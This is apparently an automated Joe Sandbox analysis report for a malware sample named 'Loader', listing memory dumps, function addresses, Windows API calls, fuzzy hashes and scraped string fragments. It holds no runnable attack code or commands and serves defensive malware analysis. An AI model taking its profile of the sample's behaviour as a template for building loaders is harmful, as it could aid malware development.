Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 79680ac2d5f547ec917eb5f99452d1fa5a9d20136bed208c7213e3ef94e53174
Instruction ID: 333b4a9834557b4172d2651f462c7a903e8ce65bf7bd4680bd615953da4b5774
Opcode Fuzzy Hash: 79680ac2d5f547ec917eb5f99452d1fa5a9d20136bed208c7213e3ef94e53174
Instruction Fuzzy Hash: 80D05EE995150047CA04BB71AC858273229F64B34A7186878E00301262EA25A0428B5B

Function 011C97BE Relevance: 1.6, APIs: 1, Instructions: 142COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(FFFFF9B5,?,00000005,011C99FA,?), ref: 011C97F0

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: d43989f8238828233f6e9f9aac7ca9c7187fcdfc11a8cd976d2224bdfa69373f
Instruction ID: c7440048b1648510dceb1c6852c106bf279e338a9d7325fda88554955c380784
Opcode Fuzzy Hash: d43989f8238828233f6e9f9aac7ca9c7187fcdfc11a8cd976d2224bdfa69373f
Instruction Fuzzy Hash: 5B5127B190815DAADB198E28CC84BEABFA8FF25B08F1401EDD599C7182D3359D45CF61

Function 0043C2D0 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,00000000,0040B308,00000000,00000001), ref: 0043C302

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 98cbbb343254cd52c79eb1ca115f38d3187f6c377695bce7c7a2cd07440916c9
Instruction ID: 8a0177ad85e7c08c69245f52b8f4417eb00afcd063061f7275faf4d6d67a0887
Opcode Fuzzy Hash: 98cbbb343254cd52c79eb1ca115f38d3187f6c377695bce7c7a2cd07440916c9
Instruction Fuzzy Hash: AAE02B76418221ABC6002B25BC09B5B3A68DF8E721F030C36F40072121D739E81286EF

Function 0042F3C1 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042F40C

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: a18d56fad5a96f013a25ab8829a1815cfaa1a5b039c676a3c735c5b8ea5e42e4
Instruction ID: 1b26c67158fdd6cda6fdecceee19ec6b2839f0717a30f5b989b10993f200af12
Opcode Fuzzy Hash: a18d56fad5a96f013a25ab8829a1815cfaa1a5b039c676a3c735c5b8ea5e42e4
Instruction Fuzzy Hash: C201ECB560D3819FD305CF24D46470ABBF0EF46304F05889DE5958B2A2C775A949CF56

Function 004322B8 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00432302

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: a8bb812586e4c46681c8ad4fa8ef5685346ea06700b989548cf1ce1faff14cc7
Instruction ID: 935b5868952aa2069f21c57713507472c84af2c432f668984a81a3c1c2622ac8
Opcode Fuzzy Hash: a8bb812586e4c46681c8ad4fa8ef5685346ea06700b989548cf1ce1faff14cc7
Instruction Fuzzy Hash: AAF0A4B55087029FE310DF65D55870BBBE1AB85318F15891CE0944B254D7B5A5498FC2

Function 0040C5C0 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C5D3

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 850955786ed28da5065a80bade014127d727ab8898c815214f1986fcd95a4124
Instruction ID: ce014e1d32f27ec12ad37ecc0dfb2a09a1fae06e6abce3ab2790199683b38062
Opcode Fuzzy Hash: 850955786ed28da5065a80bade014127d727ab8898c815214f1986fcd95a4124
Instruction Fuzzy Hash: CFD02E2969000027D208AB2CAC07F23329D9B03B52F000239E1A3969E2ED406900826A

Function 0040C5F5 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C607

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 131c3e875a066bb12a276a62a713607dd4adbce56e7278532486b94642aead36
Instruction ID: 64d0c7dc1a51f575c656917cfcf27d06668b7b4f648f1d88eb1df91404deb98c
Opcode Fuzzy Hash: 131c3e875a066bb12a276a62a713607dd4adbce56e7278532486b94642aead36
Instruction Fuzzy Hash: C7D0C9743C834176F5348B08EC13F5132555302F12F340624F362FE2E4CAD0B201860C

Function 0043A940 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0043C31B,?,0040B308,00000000,00000001), ref: 0043A960

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 910c0af3420ea00ce46c07591240b3ae9376ee87c5be7e09da62257baa930bc0
Instruction ID: c567b57adf38a1f54fef76dd5790cc9636adae08f6cfb23484a9f5fe40784e0e
Opcode Fuzzy Hash: 910c0af3420ea00ce46c07591240b3ae9376ee87c5be7e09da62257baa930bc0
Instruction Fuzzy Hash: 42D01272419632FBC6102F18BC15BCB3B55EF4A321F0748A2F5446A175D774DC91CAD8

Function 0043A92B Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 0043A931

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8b84c401ed621f98c69bb3f8c5d8cc5e5be64f5d27f130d331e977eda1e0ff18
Instruction ID: 2264aa9d2aabd2ef6d2248d85dbb31dab42ea94ade32cd6cf29d8f8327bb6f23
Opcode Fuzzy Hash: 8b84c401ed621f98c69bb3f8c5d8cc5e5be64f5d27f130d331e977eda1e0ff18
Instruction Fuzzy Hash: 18A012300401109AC5141B00BD09FC53E10DB11211F010051B000040B182508841C5C4

Non-executed Functions

Function 00411C40 Relevance: 133.2, Strings: 105, Instructions: 1974COMMON

Download Yara Rule

Strings

3, xrefs: 004128F0
5, xrefs: 004137D9
*, xrefs: 00412415
^, xrefs: 00412E00
, xrefs: 00412E28
I, xrefs: 004134B0
D, xrefs: 00413A82
(, xrefs: 00413498
o, xrefs: 00412239
8, xrefs: 00412E68
<, xrefs: 004128B8
o, xrefs: 00411D1E
O, xrefs: 004130BD
8, xrefs: 00413518
P, xrefs: 004134F0
I, xrefs: 0041308D
Y, xrefs: 0041310D
:, xrefs: 00412E78
", xrefs: 00412455
], xrefs: 00412E30
`, xrefs: 00412A72
Y, xrefs: 004128C0
}, xrefs: 00413400
:, xrefs: 00412C34
|, xrefs: 004137E1
*, xrefs: 004134A8
h, xrefs: 00411DBE
,, xrefs: 004134B8
!, xrefs: 0041244D
K, xrefs: 00412E20
0, xrefs: 004128D8
$, xrefs: 004134F8
., xrefs: 00412234
", xrefs: 004134E8
], xrefs: 0041312D
(, xrefs: 00412405
e, xrefs: 004128B0
l, xrefs: 00411E4A
Q, xrefs: 004130CD
W, xrefs: 004130FD
G, xrefs: 0041307D
_, xrefs: 0041313D
y, xrefs: 004133A0
,, xrefs: 00412425
t, xrefs: 00413490
2, xrefs: 004128E8
j, xrefs: 004133D0
_, xrefs: 004134D0
M, xrefs: 004130AD
b, xrefs: 00413410
, xrefs: 00412445
g, xrefs: 00413430
[, xrefs: 0041311D
, xrefs: 004134D8
>, xrefs: 004128C8
X, xrefs: 00411EC4
@, xrefs: 004134E0
D, xrefs: 00413A8F
0, xrefs: 004127E4
x, xrefs: 004125AF
6, xrefs: 0041299E
:, xrefs: 00413528
s, xrefs: 004133E0
4, xrefs: 004120DA
S, xrefs: 00412E10
, xrefs: 00413017
7, xrefs: 00413115
2, xrefs: 00411CA9
", xrefs: 00412E38
p, xrefs: 004133F0
-, xrefs: 0041222F
e, xrefs: 00413420
*, xrefs: 00412DF8
S, xrefs: 004130DD
4, xrefs: 004127C4
E, xrefs: 0041306D
&, xrefs: 00412E58
t, xrefs: 004133B0
&, xrefs: 00413508
D, xrefs: 004135D1
V, xrefs: 00413500
8, xrefs: 00413105
., xrefs: 00412E18
9, xrefs: 00412E70
,, xrefs: 00412E08
., xrefs: 004134C8
z, xrefs: 004133C0
', xrefs: 00412534
", xrefs: 00413450
4, xrefs: 004123E5
6, xrefs: 004123F5
t, xrefs: 00413460
K, xrefs: 0041309D
_, xrefs: 00412E40
$, xrefs: 004137F1
x, xrefs: 00412539
$, xrefs: 00412E48
[, xrefs: 00412DF0
=, xrefs: 00413440
p, xrefs: 00413480
&, xrefs: 0041252F
4, xrefs: 004128F8
U, xrefs: 004130ED
9, xrefs: 00413520
., xrefs: 00412435

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $ $ $ $!$"$"$"$"$$$$$$$&$&$&$'$($($*$*$*$,$,$,$-$.$.$.$.$0$0$2$2$3$4$4$4$4$5$6$6$7$8$8$8$9$9$:$:$:$<$=$>$@$D$D$D$E$G$I$I$K$K$M$O$P$Q$S$S$U$V$W$X$Y$Y$[$[$]$]$^$_$_$_$`$b$e$e$g$h$j$l$o$o$p$p$s$t$t$t$x$x$y$z$|$}
API String ID: 0-2173774466
Opcode ID: 756f7b0933827cf2b67dc0df76dc687c74b968bdae32b9d0fabc7d97671765a6
Instruction ID: af53e175c28fad5d8c2a468ceeaa10e57feed0e13a8b405b96cf19100150d275
Opcode Fuzzy Hash: 756f7b0933827cf2b67dc0df76dc687c74b968bdae32b9d0fabc7d97671765a6
Instruction Fuzzy Hash: BA13BE7160C7C08AD335DB38C4443AFBBE1ABD6314F188A6EE4D987392D6B98581CB57

Function 00435B98 Relevance: 85.4, Strings: 68, Instructions: 403COMMON

Download Yara Rule

Strings

', xrefs: 00435EFE
s, xrefs: 00435D2C
', xrefs: 00435DFC
/, xrefs: 00435E1C
6, xrefs: 00435CC8
], xrefs: 00435DD4
+, xrefs: 00435E0C
g, xrefs: 00435CFC
9, xrefs: 00435CC0
i, xrefs: 00435D04
C, xrefs: 00435D6C
m, xrefs: 00435D14
?, xrefs: 00435CD8
O, xrefs: 00435D9C
U, xrefs: 00435DB4
!, xrefs: 00435DE4
X, xrefs: 00435F16
b, xrefs: 00435C3E
M, xrefs: 00435D94
S, xrefs: 00435DAC
;, xrefs: 00435CB8
), xrefs: 00435E04
k, xrefs: 00435D0C
o, xrefs: 00435D1C
q, xrefs: 00435D24
t, xrefs: 00435CB0
y, xrefs: 00435D44
u, xrefs: 00435D34
t, xrefs: 00435EE6
9, xrefs: 00435C84
3, xrefs: 00435E2C
[, xrefs: 00435DCC
h, xrefs: 00435C68
W, xrefs: 00435DBC
2, xrefs: 00435E28
E, xrefs: 00435D74
I, xrefs: 00435D84
Y, xrefs: 00435DC4
a, xrefs: 00435CE4
w, xrefs: 00435D3C
P, xrefs: 00435BC0
1, xrefs: 00435E24
l, xrefs: 00435CF8
", xrefs: 00435F06
}, xrefs: 00435D54
4, xrefs: 00435C30
8, xrefs: 00435C76
+, xrefs: 00435CD0
0, xrefs: 00435C4C
p, xrefs: 00435CA0
X, xrefs: 00435BF8
c, xrefs: 00435CEC
%, xrefs: 00435DF4
d, xrefs: 00435EEE
3, xrefs: 00435CA8
, xrefs: 00435C92
e, xrefs: 00435CF4
G, xrefs: 00435D7C
-, xrefs: 00435E14
#, xrefs: 00435F0E
_, xrefs: 00435DDC
K, xrefs: 00435D8C
Q, xrefs: 00435DA4
), xrefs: 00435C5A
A, xrefs: 00435D64
#, xrefs: 00435DEC
{, xrefs: 00435D4C
h, xrefs: 00435BA4

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $!$"$#$#$%$'$'$)$)$+$+$-$/$0$1$2$3$3$4$6$8$9$9$;$?$A$C$E$G$I$K$M$O$P$Q$S$U$W$X$X$Y$[$]$_$a$b$c$d$e$g$h$h$i$k$l$m$o$p$q$s$t$t$u$w$y${$}
API String ID: 0-2551631551
Opcode ID: 2e1487be5e160dde3cb2099712e244fca7148de13dbc5873c5731017f8a6f69d
Instruction ID: 770335e5a42f9b4d615ca172ea7afd8b2f0587deb4f207754e917c3cbcfa6561
Opcode Fuzzy Hash: 2e1487be5e160dde3cb2099712e244fca7148de13dbc5873c5731017f8a6f69d
Instruction Fuzzy Hash: 2C224121D087D98DDB22C67C884839DBFB11B67324F0843D9D4E96B3D2C7794A46CBA6

Function 004365B4 Relevance: 85.4, Strings: 68, Instructions: 398COMMON

Download Yara Rule

Strings

d, xrefs: 0043690B
m, xrefs: 00436731
}, xrefs: 00436771
p, xrefs: 004366BD
t, xrefs: 004366CD
3, xrefs: 00436849
9, xrefs: 004366A1
q, xrefs: 00436741
-, xrefs: 00436831
h, xrefs: 004365C1
_, xrefs: 004367F9
g, xrefs: 00436719
O, xrefs: 004367B9
/, xrefs: 00436839
?, xrefs: 004366F5
%, xrefs: 00436811
k, xrefs: 00436729
C, xrefs: 00436789
", xrefs: 00436923
0, xrefs: 00436669
G, xrefs: 00436799
E, xrefs: 00436791
+, xrefs: 00436829
a, xrefs: 00436701
o, xrefs: 00436739
U, xrefs: 004367D1
X, xrefs: 00436933
', xrefs: 0043691B
i, xrefs: 00436721
4, xrefs: 0043664D
s, xrefs: 00436749
), xrefs: 00436821
y, xrefs: 00436761
!, xrefs: 00436801
K, xrefs: 004367A9
S, xrefs: 004367C9
, xrefs: 004366AF
w, xrefs: 00436759
u, xrefs: 00436751
c, xrefs: 00436709
', xrefs: 00436819
W, xrefs: 004367D9
e, xrefs: 00436711
A, xrefs: 00436781
M, xrefs: 004367B1
#, xrefs: 00436809
b, xrefs: 0043665B
#, xrefs: 0043692B
2, xrefs: 00436845
X, xrefs: 00436615
h, xrefs: 00436685
t, xrefs: 00436903
6, xrefs: 004366E5
), xrefs: 00436677
+, xrefs: 004366ED
Q, xrefs: 004367C1
1, xrefs: 00436841
{, xrefs: 00436769
8, xrefs: 00436693
l, xrefs: 00436715
I, xrefs: 004367A1
[, xrefs: 004367E9
3, xrefs: 004366C5
9, xrefs: 004366DD
;, xrefs: 004366D5
Y, xrefs: 004367E1
P, xrefs: 004365DD
], xrefs: 004367F1

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $!$"$#$#$%$'$'$)$)$+$+$-$/$0$1$2$3$3$4$6$8$9$9$;$?$A$C$E$G$I$K$M$O$P$Q$S$U$W$X$X$Y$[$]$_$a$b$c$d$e$g$h$h$i$k$l$m$o$p$q$s$t$t$u$w$y${$}
API String ID: 0-2551631551
Opcode ID: 4134afc953a5d969655b1307a453eca2e2e2adfc96ef722da3857e9020b64b7e
Instruction ID: de50ea2c20b4176c8acefd8da3a13ecea5557a43b1ccc23e89203943b2e10b97
Opcode Fuzzy Hash: 4134afc953a5d969655b1307a453eca2e2e2adfc96ef722da3857e9020b64b7e
Instruction Fuzzy Hash: 99225121D087DA8DDB22C67C884839DBFB11B67324F0843D9D4E96B3D2C7754A46CBA6

Function 0043506D Relevance: 39.1, Strings: 31, Instructions: 329COMMON

Download Yara Rule

Strings

k, xrefs: 004351EC
o, xrefs: 00435208
0, xrefs: 00435433
~, xrefs: 004350B1
M, xrefs: 0043545E
w, xrefs: 00435160
g, xrefs: 004351D0
>, xrefs: 004352F4
q, xrefs: 00435136
n, xrefs: 00435121
$, xrefs: 00435323
}, xrefs: 0043518A
c, xrefs: 0043535B
s, xrefs: 00435144
c, xrefs: 004351B4
S, xrefs: 00435224
Q, xrefs: 00435216
m, xrefs: 004351FA
4, xrefs: 00435315
<, xrefs: 004352EB
y, xrefs: 0043516E
1, xrefs: 0043520F
b, xrefs: 0043534D
e, xrefs: 004351C2
i, xrefs: 004351DE
a, xrefs: 004351A6
u, xrefs: 00435152
R, xrefs: 0043521D
{, xrefs: 0043517C
g, xrefs: 0043533F
U, xrefs: 00435331

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $$0$1$4$<$>$M$Q$R$S$U$a$b$c$c$e$g$g$i$k$m$n$o$q$s$u$w$y${$}$~
API String ID: 0-379513683
Opcode ID: 4e3a5e5ada1ce48c2110f860dc72302ab2009045dbcee54d2719bf77ed452430
Instruction ID: fbc6194e022bf2d7584349dbc9d518ea0f683462fe8accb2f8c95ac37d1c220e
Opcode Fuzzy Hash: 4e3a5e5ada1ce48c2110f860dc72302ab2009045dbcee54d2719bf77ed452430
Instruction Fuzzy Hash: EBF1D2319087E98ADB36C63C8C543DDBEA25B56324F0843E9C4ED6B3D2C6B50BC58B56

Function 00418638 Relevance: 24.0, Strings: 19, Instructions: 221COMMON

Download Yara Rule

Strings

=Z$\, xrefs: 0041872B
H2P4, xrefs: 004186E9
*^,P, xrefs: 00418736
+N;@, xrefs: 0041870A
l*G,, xrefs: 004186A7
G6HH, xrefs: 004186F4
L.[ , xrefs: 004188DD
Q>b0, xrefs: 004186DE
$rt, xrefs: 00418799
V*H,, xrefs: 004188D2
r&f8, xrefs: 004186C8
<F9X, xrefs: 00418720
[&'8, xrefs: 004188F3
g"w$, xrefs: 004186BD
V%h, xrefs: 0041874C
~.p , xrefs: 004186B2
:J4L, xrefs: 004186FF
k:~<, xrefs: 004186D3
X"\$, xrefs: 004188E8

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: V%h$$rt$*^,P$+N;@$:J4L$<F9X$=Z$\$G6HH$H2P4$L.[ $Q>b0$V*H,$X"\$$[&'8$g"w$$k:~<$l*G,$r&f8$~.p
API String ID: 0-2572281532
Opcode ID: bd7f63e964f488d677be3c97ab2ce72dca3788d71f0cf761aaeb2d60bf982ccf
Instruction ID: fc9c91e7f1a30bb03526ffdc58390b239219c7e1b2437cd68821ef081b52b0d4
Opcode Fuzzy Hash: bd7f63e964f488d677be3c97ab2ce72dca3788d71f0cf761aaeb2d60bf982ccf
Instruction Fuzzy Hash: B581BEB29193918BC33A8F15C8853DFBBE2FBC0304F59892DC4999B354DB754602CB4A

Function 00424AA8 Relevance: 21.7, Strings: 17, Instructions: 444COMMON

Download Yara Rule

Strings

^T, xrefs: 00424D23
s'k), xrefs: 0042554F
;?, xrefs: 00424BCB
Z7W9, xrefs: 00425523
SK, xrefs: 00424D18
U;W=, xrefs: 0042552E
9:, xrefs: 00424F49
q#s%, xrefs: 00425544
0s&u, xrefs: 004255C8
6<, xrefs: 00424BC0
B?y!, xrefs: 00425539
bc, xrefs: 004255F4
't+v, xrefs: 0042526C
l+j-, xrefs: 0042555A
,{+}, xrefs: 004255DE
>R, xrefs: 00424D0D
7w.y, xrefs: 004255D3

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 't+v$,{+}$0s&u$6<$7w.y$9:$;?$>R$B?y!$SK$U;W=$Z7W9$^T$bc$l+j-$q#s%$s'k)
API String ID: 0-416511104
Opcode ID: 1d615baf16a5cb2da3b9dcf4c28b1abc6d5fa3844a44abe495e2c78bf808da89
Instruction ID: 3a13b98e1fcd4ee340008fd0ff9d0d16dd32adc4ff5d5dd5518182cac15cbb42
Opcode Fuzzy Hash: 1d615baf16a5cb2da3b9dcf4c28b1abc6d5fa3844a44abe495e2c78bf808da89
Instruction Fuzzy Hash: 2E420AB560C3948AD334CF55D442BCFBAF2FB92304F00882DC5D9AB615DBB54A468B9B

Function 00425691 Relevance: 21.7, Strings: 17, Instructions: 435COMMON

Download Yara Rule

Strings

;?, xrefs: 0042584B
l+j-, xrefs: 004261CA
0s&u, xrefs: 00426238
6<, xrefs: 00425840
9:, xrefs: 00425BC9
>R, xrefs: 0042598D
q#s%, xrefs: 004261B4
't+v, xrefs: 00425EEE
s'k), xrefs: 004261BF
Z7W9, xrefs: 00426193
B?y!, xrefs: 004261A9
SK, xrefs: 00425998
,{+}, xrefs: 0042624E
bc, xrefs: 00426264
U;W=, xrefs: 0042619E
7w.y, xrefs: 00426243
^T, xrefs: 004259A3

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 't+v$,{+}$0s&u$6<$7w.y$9:$;?$>R$B?y!$SK$U;W=$Z7W9$^T$bc$l+j-$q#s%$s'k)
API String ID: 0-416511104
